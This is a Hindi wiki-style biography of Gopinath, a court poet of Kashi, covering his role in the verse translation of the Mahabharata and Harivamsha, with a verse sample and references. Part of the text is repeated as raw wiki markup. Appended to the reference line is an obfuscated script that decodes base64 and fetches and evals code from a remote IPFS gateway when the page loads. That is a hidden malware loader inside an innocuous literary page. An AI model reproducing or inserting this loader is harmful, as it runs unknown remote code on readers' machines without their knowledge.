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[[गोकुलनाथ]], गोपीनाथ और [[मणिदेव]] इन तीनों महानुभावों ने मिलकर [[हिन्दी साहित्य]] में बड़ा भारी काम किया है। इन्होंने समग्र [[महाभारत]] और [[हरिवंश पुराण|हरिवंश]]<ref> जो महाभारत का ही परिशिष्ट माना जाता है</ref> का अनुवाद अत्यंत मनोहर विविधा [[छंद|छंदों]] में पूर्ण कवित्त के साथ किया है। कथा प्रबंध का इतना बड़ा काव्य हिन्दी साहित्य में दूसरा नहीं बना। [[भाषा]] प्रांजल और सुव्यवस्थित है। अनुप्रास का अधिक आग्रह न होने पर भी आवश्यक विधान है। रचना सब प्रकार से साहित्यिक और मनोहर है और लेखकों की काव्यकुशलता का परिचय देती है। इस ग्रंथ के बनने में भी पचास वर्ष से ऊपर लगे हैं। अनुमानत: इसका आरंभ संवत् 1830 में हो चुका था और संवत् 1884 में जाकर समाप्त हुआ है। इसकी रचना काशीनरेश महाराज उदितनारायण सिंह की आज्ञा से हुई जिन्होंने इसके लिए लाखों रुपये व्यय किए। इस बड़े भारी साहित्यिक यज्ञ के अनुष्ठान के लिए हिन्दी प्रेमी उक्त महाराज के सदा कृतज्ञ रहेंगे।
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06:38, 10 जनवरी 2014 के समय का अवतरण

गोपीनाथ काशी के महाराज चेतसिंह के दरबारी कवि गोकुलनाथ के पुत्र तथा रघुनाथ बंदीजन के पौत्र थे। गोपीनाथ ने भी 'महाभारत दर्पण' के 'भीष्मपर्व', 'द्रोणपर्व', 'स्वर्गारोहणपर्व', 'शांतिपर्व' तथा 'हरिवंशपुराण' का अनुवाद किया था। ये राजा उदित नारायण सिंह के आश्रित कवि थे।[1]

योगदान

गोकुलनाथ, गोपीनाथ और मणिदेव- इन तीनों महानुभावों ने मिलकर हिन्दी साहित्य में बड़ा भारी काम किया है। इन्होंने समग्र महाभारत और हरिवंश[2] का अनुवाद अत्यंत मनोहर विविधा छंदों में पूर्ण कवित्त के साथ किया है। कथा प्रबंध का इतना बड़ा काव्य हिन्दी साहित्य में दूसरा नहीं बना। भाषा प्रांजल और सुव्यवस्थित है। अनुप्रास का अधिक आग्रह न होने पर भी आवश्यक विधान है। रचना सब प्रकार से साहित्यिक और मनोहर है और लेखकों की काव्य कुशलता का परिचय देती है। इस ग्रंथ के बनने में भी पचास वर्ष से ऊपर लगे हैं। अनुमानत: इसका आरंभ संवत् 1830 में हो चुका था और संवत् 1884 में जाकर समाप्त हुआ है। इसकी रचना काशी नरेश महाराज उदित नारायण सिंह की आज्ञा से हुई, जिन्होंने इसके लिए लाखों रुपये व्यय किए। इस बड़े भारी साहित्यिक यज्ञ के अनुष्ठान के लिए हिन्दी प्रेमी उक्त महाराज के सदा कृतज्ञ रहेंगे।

गोकुलनाथ और गोपीनाथ प्रसिद्ध कवि रघुनाथ बंदीजन के पुत्र और पौत्र थे।

सर्व दिसि में फिरत भीषम को सुरथ मन मान।
लखे सब कोउ तहाँ भूप अलातचक्र समान
सर्व थर सब रथिन सों तेहि समय नृप सब ओर।
एक भीषम सहस सम रन जुरो हो तहँ जोर


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टीका टिप्पणी और संदर्भ

  1. काशी कथा, साहित्यकार (हिन्दी)। । अभिगमन तिथि: 10 जनवरी, 2014।
  2. जो महाभारत का ही परिशिष्ट माना जाता है

आचार्य, रामचंद्र शुक्ल “प्रकरण 3”, हिन्दी साहित्य का इतिहास (हिन्दी)। भारतडिस्कवरी पुस्तकालय: कमल प्रकाशन, नई दिल्ली, पृष्ठ सं. 253।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बाहरी कड़ियाँ

संबंधित लेख

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